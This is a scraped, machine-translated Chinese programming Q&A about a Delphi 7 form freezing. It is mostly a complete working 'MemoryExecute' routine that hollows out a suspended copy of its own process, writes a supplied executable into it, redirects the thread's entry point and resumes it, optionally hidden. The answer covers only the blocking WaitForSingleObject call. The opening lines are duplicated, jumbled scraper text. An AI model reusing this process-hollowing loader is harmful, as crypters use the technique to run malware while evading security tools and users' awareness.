Memory 如何避免应用程序在内存中冻结执行功能?
如何避免应用程序在内存中冻结执行功能?Memory 如何避免应用程序在内存中冻结执行功能?,memory,delphi-7,Memory,Delphi 7,如何避免应用程序在内存中冻结执行功能? 在我将资源发送到内存后,当我运行此代码时,内存中的exe将成功运行,但UI窗体将冻结,直到进程关闭 这是我的密码: unit pe; interface uses Windows; //type // TByteArray = array of Byte; Function MemoryExecute(Buffer :Pointer;Parameters: String; Visible: Boolean): TProcessInformatio
在我将资源发送到内存后,当我运行此代码时,内存中的exe将成功运行,但UI窗体将冻结,直到进程关闭 这是我的密码:
unit pe;
interface
uses Windows;
//type
// TByteArray = array of Byte;
Function MemoryExecute(Buffer :Pointer;Parameters: String; Visible: Boolean): TProcessInformation;
implementation
Function MemoryExecute(Buffer :Pointer;Parameters: String; Visible: Boolean): TProcessInformation;
type
HANDLE = THandle;
PVOID = Pointer;
LPVOID = Pointer;
SIZE_T = Cardinal;
ULONG_PTR = Cardinal;
NTSTATUS = LongInt;
LONG_PTR = Integer;
PImageSectionHeaders = ^TImageSectionHeaders;
TImageSectionHeaders = Array [0..95] Of TImageSectionHeader;
Var
ZwUnmapViewOfSection :Function(ProcessHandle: THANDLE; BaseAddress: Pointer): LongInt; stdcall;
ProcessInfo :TProcessInformation;
StartupInfo :TStartupInfo;
Context :TContext;
BaseAddress :Pointer;
BytesRead :DWORD;
BytesWritten :DWORD;
I :ULONG;
OldProtect :ULONG;
NTHeaders :PImageNTHeaders;
Sections :PImageSectionHeaders;
Success :Boolean;
ProcessName :string;
Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
Begin
Result := PImageSectionheader( ULONG_PTR(@NTheader.OptionalHeader) +
NTHeader.FileHeader.SizeOfOptionalHeader);
End;
Function Protect(Characteristics: ULONG): ULONG;
Const
Mapping :Array[0..7] Of ULONG = (
PAGE_NOACCESS,
PAGE_EXECUTE,
PAGE_READONLY,
PAGE_EXECUTE_READ,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE );
Begin
Result := Mapping[ Characteristics SHR 29 ];
End;
Begin
@ZwUnmapViewOfSection := GetProcAddress(LoadLibrary('ntdll.dll'), 'ZwUnmapViewOfSection');
ProcessName := ParamStr(0);
FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
FillChar(StartupInfo, SizeOf(TStartupInfo), 0);
StartupInfo.cb := SizeOf(TStartupInfo);
StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
if Visible Then
StartupInfo.wShowWindow := SW_NORMAL
else
StartupInfo.wShowWindow := SW_Hide;
If (CreateProcess(PChar(ProcessName), PChar(Parameters), NIL, NIL,
False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
Begin
Success := True;
Result := ProcessInfo;
Try
Context.ContextFlags := CONTEXT_INTEGER;
If (GetThreadContext(ProcessInfo.hThread, Context) And
(ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
@BaseAddress, SizeOf(BaseAddress), BytesRead)) And
(ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
(Assigned(Buffer))) Then
Begin
NTHeaders := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
BaseAddress := VirtualAllocEx(ProcessInfo.hProcess,
Pointer(NTHeaders.OptionalHeader.ImageBase),
NTHeaders.OptionalHeader.SizeOfImage,
MEM_RESERVE or MEM_COMMIT,
PAGE_READWRITE);
If (Assigned(BaseAddress)) And
(WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
NTHeaders.OptionalHeader.SizeOfHeaders,
BytesWritten)) Then
Begin
Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));
For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do
If (WriteProcessMemory(ProcessInfo.hProcess,
Pointer(Cardinal(BaseAddress) +
Sections[I].VirtualAddress),
Pointer(Cardinal(Buffer) +
Sections[I].PointerToRawData),
Sections[I].SizeOfRawData, BytesWritten)) Then
VirtualProtectEx(ProcessInfo.hProcess,
Pointer(Cardinal(BaseAddress) +
Sections[I].VirtualAddress),
Sections[I].Misc.VirtualSize,
Protect(Sections[I].Characteristics),
OldProtect);
If (WriteProcessMemory(ProcessInfo.hProcess,
Pointer(Context.Ebx + 8), @BaseAddress,
SizeOf(BaseAddress), BytesWritten)) Then
Begin
Context.EAX := ULONG(BaseAddress) +
NTHeaders.OptionalHeader.AddressOfEntryPoint;
Success := SetThreadContext(ProcessInfo.hThread, Context);
End;
End;
End;
Finally
If (Not Success) Then
TerminateProcess(ProcessInfo.hProcess, 0)
else
ResumeThread(ProcessInfo.hThread);
WaitForSingleObject(ProcessInfo.hProcess,INFINITE) ;
// GetExitCodeProcess(ProcessInfo.hProcess, Result);
End;
End;
End;
end.
您的代码冻结,因为它正在调用
WaitForSingleObject()
以等待生成的进程退出,并且在等待过程中,它没有为新消息抽取调用线程的消息队列。要避免这种情况,您有三种选择:
WaitForSingleObject()
,在周期性抽取消息队列的循环中使用非无限超时。如果将WaitForSingleObject()
替换为MsgWaitForMultipleObjects()
,它可以告诉您何时有新消息正在等待,因此在无需处理的情况下,您无需泵送队列TProcessInformation
,所以让调用方决定如何处理该进程。如果调用方希望等待,它将拥有进程的句柄来等待。如果调用方不想等待,则不必等待